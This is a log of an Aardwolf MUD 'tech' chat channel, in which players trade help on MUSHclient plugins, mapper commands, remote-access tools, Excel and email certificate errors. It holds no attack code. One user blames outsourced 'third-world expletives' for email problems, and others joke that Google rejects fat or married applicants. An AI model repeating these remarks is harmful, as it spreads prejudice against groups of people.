T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: Ah, I tried that mushclient-aard and it has some kind of errors..
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: and never got an answer on it.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Drachon Tech: should try it again. it's great
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: I will try it again.. cause this tt is not working like I like it too.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Meliere Tech: Ty
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ayon Tech: Aard Musch client is kind of worth it
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ayon Tech: for the GMCP Mapper alone, but you can get mush, and then pick and choose some of the plugins....
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ontuct Tech: talk to the seller and an imm and I think they can solve it, you might have to pay markey value and not get a bargain
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: if you're familiar and comfortable with tt++ and want to stick with it, finger ixle for a packaged setup with tmux
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ontuct Tech: is there a way to mark an entire area norecall noportal, and then add back in the rooms you can recall portal from? ie lemdagor
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Nuanse Tech: nope
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ontuct Tech: you don't think about it, and do an xrt and you run around like a chicken with it's head cut off.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: is it even possible to turn off MCCP
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: sure, but no good reason to other than simulation
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: turning it off would be a client-side negotiation
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Fravardin Tech: ah alright then as you said, i have no reason to do so
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: mccp saves you from getting kicked off as easily, and gives free QPs...70k QPs for me so far :-)
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Pleiades Tech: how does tinyfugue compare to tintin?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tigernuts Tech: dunno, don't use either
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Negader Tech: which directory am I to unzip Bast's plugins?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Vexthorne Tech: Read his site pretty sure it has directions
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Negader Tech: i found the instructions.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Negader Tech: thank you. :)
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Pleiades Tech: is there a big difference between realvnc and teamviewer for remote access?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Pleiades Tech: or a preferred solution
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Useful Hadar Tech: i personally like teamviewer
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Gener Tech: I give teamviewr a nod too
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Same here.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Book of Etzli Tech: I use teamviewer on my phone as well as at school.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: does teamviewer work on 3g/4g nets ?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ungrateful Anaristos Tech: I like teamviewer, though it does make me a bit nervous to grant it so much access.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: or tied in to wifi ?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Useful Hadar Tech: i always use my phone to teather
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Useful Hadar Tech: ana you can change it so that the person needs to ask to do anything
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ungrateful Anaristos Tech: well, so far I haven't let anyone remote me, always has been the other way around.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: just wonder if it works on 3g/4g
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Useful Hadar Tech: it does
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: i'd move from remote desktop heh
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: ooo
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Useful Hadar Tech: as i said i always use my phone for internet for my computer
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it works for 3g/4g with the one caveat of typical cell radio that it'll d/c when switching from wifi to one, or one to the other
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: May not fully d/c, but it'll lag and hang for a second.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Om Nom Nom Cheezburger.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: can u switch between the app and text without d/c ?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why would it maintain the connection across 2 different access points? Will that not change the IP address?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds ridiculously exploitable.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The IP changes, but it can re-grep the cell radio IP and re-connect using cached credentials
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: pretty sure it uses hashed chache nods
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: a cookie of sorts
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cached credentials. An oxymoron if ever there was one :-\
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Ungrateful Anaristos Tech: sounds like a wide open door to me :)
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Not really, as long as you can accurately identify that the device didn't change, and only the access point, you're fine
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Considering just how 'inside' TeamViewer goes, that is crazy
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: not like u use them  for more than 1 sessoin i would think
T3/r7/2013-12-10.txt.gz:{chan ch=tech}ShadowWalker Tech: session*
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Tech: Ungrateful Anaristos rapidly nods twice at Captain HR Vakieh, in complete agreement.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You might store the paired hosts, but to not require a session change and re-ask for either password or 2-way confirmation on both ends on an IP change is the silliest thing I've ever heard.
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I did a lot of work using TCP/UDP communication, and it tries to disconnect at access point change as well, but if you can identify that the source origin doesn't change, and only your external/local IP, then you can assure yourself that you haven't been hijacked and exploited
T3/r7/2013-12-10.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: anyone here work for google and want to give me a good reference?? :P
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Legendary Gruagach Tech: where did you do your undergrad work? how many apps do you have in the marketplace with over 1k unique users? how old were you when you got your masters?
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Exiled To Aphelion Tech: can you get a secret clearance? :>
T3/r7/2013-12-10.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: those are the sorts of questions im going to be getting asked?  im a mechanical engineer :\
T3/r7/2013-12-10.txt.gz:{chan ch=tech}Legendary Gruagach Tech: idk i've never worked in my life, i just assume passed off the movie interns
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i assume they get thousands of qualfied apps.. dont be fat, dont be married and you prob have a shot
T3/r7/2013-12-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: is it google that doesnt like fat people or hollywood?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Keldrath Tech: so google discrimates?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Legendary Gruagach Tech: idk, but every documentary i've ever seen inside 95% have been skiny
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Keldrath Tech: probably because they work instead of eat
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Keldrath Tech: googleiness
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Legendary Gruagach Tech: again all i know is froml
T3/r7/2013-12-11.txt.gz:{chan ch=tech}GenSek Tech: i have created some label buttons, and i dont know how to delete them 
T3/r7/2013-12-11.txt.gz:{chan ch=tech}GenSek Tech: im using smartphone
T3/r7/2013-12-11.txt.gz:{chan ch=tech}SlowMoos Tech: which app?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}GenSek Tech: the blowburst
T3/r7/2013-12-11.txt.gz:{chan ch=tech}GenSek Tech: blow torch
T3/r7/2013-12-11.txt.gz:{chan ch=tech}SlowMoos Tech: i don't know that app - sorry...
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: GenSek: Press and hold until the menu comes up, then press delete.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}GenSek Tech: thanks so much, i just didnt press for long enough time
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: anyone familiar with joomla?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: a bit.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: trying to learn how it works, so trying to figure out how to change the navigation links on the left side of the page
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: why joomla?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: wordpress is simpler.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: joomla is overly complicated.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: anyone know if theres a way to take a file thats written in html and view it without all the code?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: Open it in a web browser :P
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Redwood Tech: open it in a browser
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: use a web browser?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tech: Redwood hides his face in his palm after seeing what Arystul did.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Notwalking Tech: do you mean not parse it?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Redwood Tech: I honestly thought you were trolling.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: Im not and have never been a troll
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: Im being serious
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: the regen is nice.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Redwood Tech: I know. It's sad.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: I have files the are written in html, I need to see them without all the code
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Gener Tech: google for html stripper programs
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tormat Tech: open then with firefox, it will hide the html and just show the text
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: they're not saved on my computer, so I am looking for something I can copy/paste into, have it fix it, than copy it out of it into a saved file
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Notwalking Tech: possibly run a perl script that strips everything between head tags, then everything between brackets
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Notwalking Tech: the output would be ugly as sin
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: If opening it in a browser doesn't return what you want, what is it exactly that you're looking for?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: its saved on google drive, with html code in it, i want the html code gone
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: so open it with a web browser, than copy/paste
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Notwalking Tech: ^^^ possibly using a custom local style sheet, if necessary
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: copying and paste it to where? Its alreay opened in a browser when im looking at it im so confused lol
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: If google drive is your issue, you can right click, choose Open With -> Google Drive, then when it opens in Google Docs editor, click Preview to get the html interpreted.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Notwalking Tech: into an editor
T3/r7/2013-12-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just download the file from your google drive
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tech: Purrrrific Growltiger is agreeing with that Ixle person again...
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: does the file have a .html file extension?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Arystul Tech: no
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tigernuts Tech: google drive, *shudder*
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: download it to your pc, renme it to blah.html, then open that file with a web browser
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: Btw, that's how you host a simple website in Google Drive. Upload your html/css/js files, then preview the html fie with above instructions, and theres your page.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: Shorten the nasty url and voila, website.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tigernuts Tech: just make sure it has/transports no personal data or have any intellectual property hosted on it, since you'll be essentially surrendering ownership of it
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: Arystul, the above instructions work regardless of extension. Once you have the file open in a Google Docs editor, click preview to get the html interpreted.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Ixle Tech: What windows text editors will convert formatting like \n ?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Tigernuts Tech: don't spose by any miracle of chance anyone has been able to get EJB Timer service to work on Glassfish using an external database
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Cuddlez Tech: So I'm doing some C# in visual studio, and getting red lines errors saying "So and so doesn't exist in the current context", but they go away when I rebuild (and then come back as soon as I add anything to the file). What would cause that?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Shadowfiend Tech: I am currently stay at China, the delay is crazy, is there a way to fix this?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Move to a country with real internet?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Shadowfiend Tech: any more suggestion?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Become a member of the Communist party and reach a high enough level to obtain better-routed internet access?
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seriously though, this isn't something you can fix.
T3/r7/2013-12-11.txt.gz:{chan ch=tech}Aurelia Tech: I just downloaded bast's plugins and now I don't have line returns between looting corpses and my prompt line.. is there any way to get that back?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Shadowfiend Tech: why the text dispaly like this   {invmon}2,1154189458,-1,26
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Shadowfiend Tech: {invmon}2,1154143248,-1,23
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: tags
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: or rather type: invmon
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Shadowfiend Tech: why the text displaying like this {affoff}430
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pleiades Tech: help tags
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Elysian Tech: one of your tags is on
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Shadowfiend Tech: ty
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Elysian Tech: some plugins turn on tags then hide their output
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: can someone please assist me with trying to load plugins for aard mushclient
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: what's the problem?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Vexthorne Tech: if it's bast's plugins there are directions
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: Yeah, reading the directions will save you a lot of time.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: it's boring and you may need to read over it a couple of times, but it may help
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: But what is your specific issueProoven?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: let me try again 
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: im at the gammon site, the brown page has all the script, so i just copy the entire thing,paste in notepad and save as 'Aardwolf_Campaign_Noter.xml'? 
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: Reading...gimme a sec.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: You mean: http://www.gammon.com.au/mushclient/plugins/ then right click on Aardwolf_Campaign_noter and save as, then save it into you MushClient/worlds directory
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Vexthorne Tech: That same functionality is also in bast's plugins too
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: then choose file -> plugins -> add
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: then choose the noter plugin you just saved...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Jaenelle Tech: Don't suppose anyone here uses Arbortext do they? :P
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: anyone know of some good free vpn software
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use teamviewer. there are many machines in networks i don't manage myself. it works automagically
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, sorry
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: misread. vpn != vnc :P
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, w7 has vpn support
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: hmm looking for something to speed me up,used getprivate but my trial period ran out
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's wrong with the built-in client?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use ssh tunneling with putty for some apps myself
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: not really aard related,more concerned about my download speeds currently im like 0.2kbs sigh
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't think it's because of the client
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: probably my isp restrictions? but when i used getprivate my speeds were at maximum
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: potassium chloride dangerous?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Sonshi Tech: salt?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: absolutely
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: sodium chloride is salt mate...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: tabelo salt
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: you are welcome to sprikle some KCL on your food.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: iron peroxide and aluminium oxide also dangerous?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: are you thinking of suicide?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: would potassium chloride be dangerous in small amounts though?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: nah tall those chemicals including NaCl are some compunds found in a spar
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: KCL is used in the making of fertilizer and at one point it was used in fire stinguishers...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: I've been swimming in it for the passed 3days...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: didn't do me any harm
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: good for you :)
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: 8.2 grams of potassium chloride per 1 liter isn't lethal I guess.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: right, but KCL is an ingrident in lethal injections... It stops the heart cold.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: that went up my nose...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: the water they use is actually mining or mineral water, but still having that ingredients are scary.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: if this is your way of spending leasure time...
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: lol its a spar
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Lukesmart Tech: hot water?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}ShadowWalker Tech: umm why is it when i do "=300/h3" results as jan-00  when value of h3 is 49 ? and should be 6.12 ?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}ShadowWalker Tech: been a while since i've played with excel
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Dolt Tech: is the format of the cell set to date?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Bamboo Tech: Change the format of the cell.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Mye Tech: make sure the cell/column isn't formatted as a date
T3/r7/2013-12-12.txt.gz:{chan ch=tech}ShadowWalker Tech: its not integer by default ?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Mye Tech: it's "general" by default .. sometimes if you copy'n'paste stuff, excel will try to choose something different .. better to just update it
T3/r7/2013-12-12.txt.gz:{chan ch=tech}ShadowWalker Tech: ah its working now :) thanks guys
T3/r7/2013-12-12.txt.gz:{chan ch=tech}CMFP Limunious Tech: man i love this new iphone app.  i think someone from here might have made it
T3/r7/2013-12-12.txt.gz:{chan ch=tech}CMFP Limunious Tech: best iphone mud app for sure.  i even paid the 2.99 abd was prolly one of the first buyers but great job on it
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: which one is that?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}RobFord Tech: good ad
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Piffaron Tech: which app is that?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Pooven Tech: got some issues with my internet,any techs that're not too busy please send tells thanks.
T3/r7/2013-12-12.txt.gz:{chan ch=tech}North Westclox Tech: is there an easy was to reduce my latency on aard?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: help mccp
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: a faster or less congested pipe
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: possibly a different client
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Gener Tech: turn off file sharing progs if any are running
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: if you are on a congested lan, qos could help.  you would need an in with it, though
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: . *information tech, that is
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Notwalking Tech: turn off windows media player sharing services if you are on windows
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Zoot Tech: has anyone ever had the issue of a random carriage return getting inserted into some of their info/channels about half the time in MUSHclient?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Ayon Tech: could be a runaway trigger?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Zoot Tech: well I haven't added any triggers in quite some time, but I'll take a look for sure
T3/r7/2013-12-12.txt.gz:{chan ch=tech}North Westclox Tech: anyone know why my sohtwo xrt just broke?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: use ext debug to check what is the problem
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: just type: ext debug to turn debug on
T3/r7/2013-12-12.txt.gz:{chan ch=tech}North Westclox Tech: so weird, i cant get to evil imms
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Nuanse Tech: did you change your portals?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}North Westclox Tech: nope, seriously i just went there 3 minutes ago, tried to go back and it ran to jennifer as start of area
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Nuanse Tech: go there manually and do in entrance xset mark
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: go manually to evil imms, mapper this room to get room number then check your path to that room from recall
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: using mapper where <room id>
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Trachx Tech: if path is correct then go to beginning of evil imms and do: xset mark, that should help
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Arystul Tech: anyone know how to find whatever might be causing random hyper links to adds to show up in the body of a message.. doesn't seem to matter if its on any given web page, on craigslist on clan website doesn't matter it shows up random hyperlinks
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Tormat Tech: virus
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Comanchee Tech: Am I thinking about this the right way: the apple press can be used as the "bounceportal" mapper portal, and the academy portal (or clan portal) can be used as the "bouncerecall" mapper portal?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anybody here?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no. go away
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: had a keyboard question
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody know how to program a keyboard?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}WarPigs Tech: as in...?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: as in how to program it so the lice go away?
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: my keyboard has lice and they will NOT go away
T3/r7/2013-12-12.txt.gz:{chan ch=tech}Negader Tech: I once washed my keyboard in a dishwasher, it came out really clean, and worked for few months, then it croaked!
T3/r7/2013-12-12.txt.gz:{chan ch=tech}WarPigs Tech: lice isn't a programming problem
T3/r7/2013-12-12.txt.gz:{chan ch=tech}WarPigs Tech: it's a filesystem problem
T3/r7/2013-12-12.txt.gz:{chan ch=tech}WarPigs Tech: file it under g
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nice, i get 100/100Mbit internet now. used to be 100/20
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Crnogorac Tech: semicolons don't work with Winkles script, does it? for cexits/portals?
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Nuanse Tech: use double
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Nuanse Tech: like ;;
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Crnogorac Tech: ahh, nod, forgot, thanks a lot
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: I get an outlook msg 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: the server you are connected to is using a certificate that cannot be verified
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: should I contact the hosting company or it's an issue on my side
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: seems popular to change authenticators these days
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: musical authenticators - not amusical
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Gener Tech: check your system date first.  sometimes that is the problem
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: it's the right date :p
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: Bell Canada changed email authenticators recently - the message then was different to "unable to be vwerified"
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: "unable to be verified" message happened when using an obsolete OS (Win98e) with an obsolete Outlook Express - may be due to the isp changing access settings
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: Pegasus mail on WinXP does access and write email but won't erase read email - yet require to use Outlook Express on Win98e to (re-)read and erase read emails
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: may be a slight problem when i switch entirely to WinXP -- how to delete the growing list of read emails
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: ah, change isps, switch from Bell to Cable
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: by then, i may be required to switch to Win7 or Win8 (since WinXP is going byebye as to official updates) 
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: the most likely reason for dificulties in email and internet access is some third-world expletive is fooling with the settings - when corporate does the nasty, farm out and delegate the job to the third-world
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: when the flak flies out of the fan, blame the third-world expletives
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: Zade! using ancient software until the software croaks
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: seeing as how you still use Win98SE, you don't seem to be all that concerned with supported updates
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: so dunno how Win98's updates stopping didn't stop you but XPs would
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Zade Tech: with Dos and Win98e, i was able to fix the occasional difficulties using Dos utilities -- but WinXp is unknown territory -- unless there is an inexpensive and detailed innards manualfor WinXp  = and with WinXP, there are megabytes upon megabytes of updates every month
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: are you still talking about my issue or you moved on
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: I'm gonna mail bluehost when I get back
T3/r7/2013-12-13.txt.gz:{chan ch=tech}Tech: there are the same inexpensive and detailed innards manuals for XP as there are for win98
T3/r7/2013-12-13.txt.gz:{chan ch=tech}TrEz Tech: my granddad uses win 8
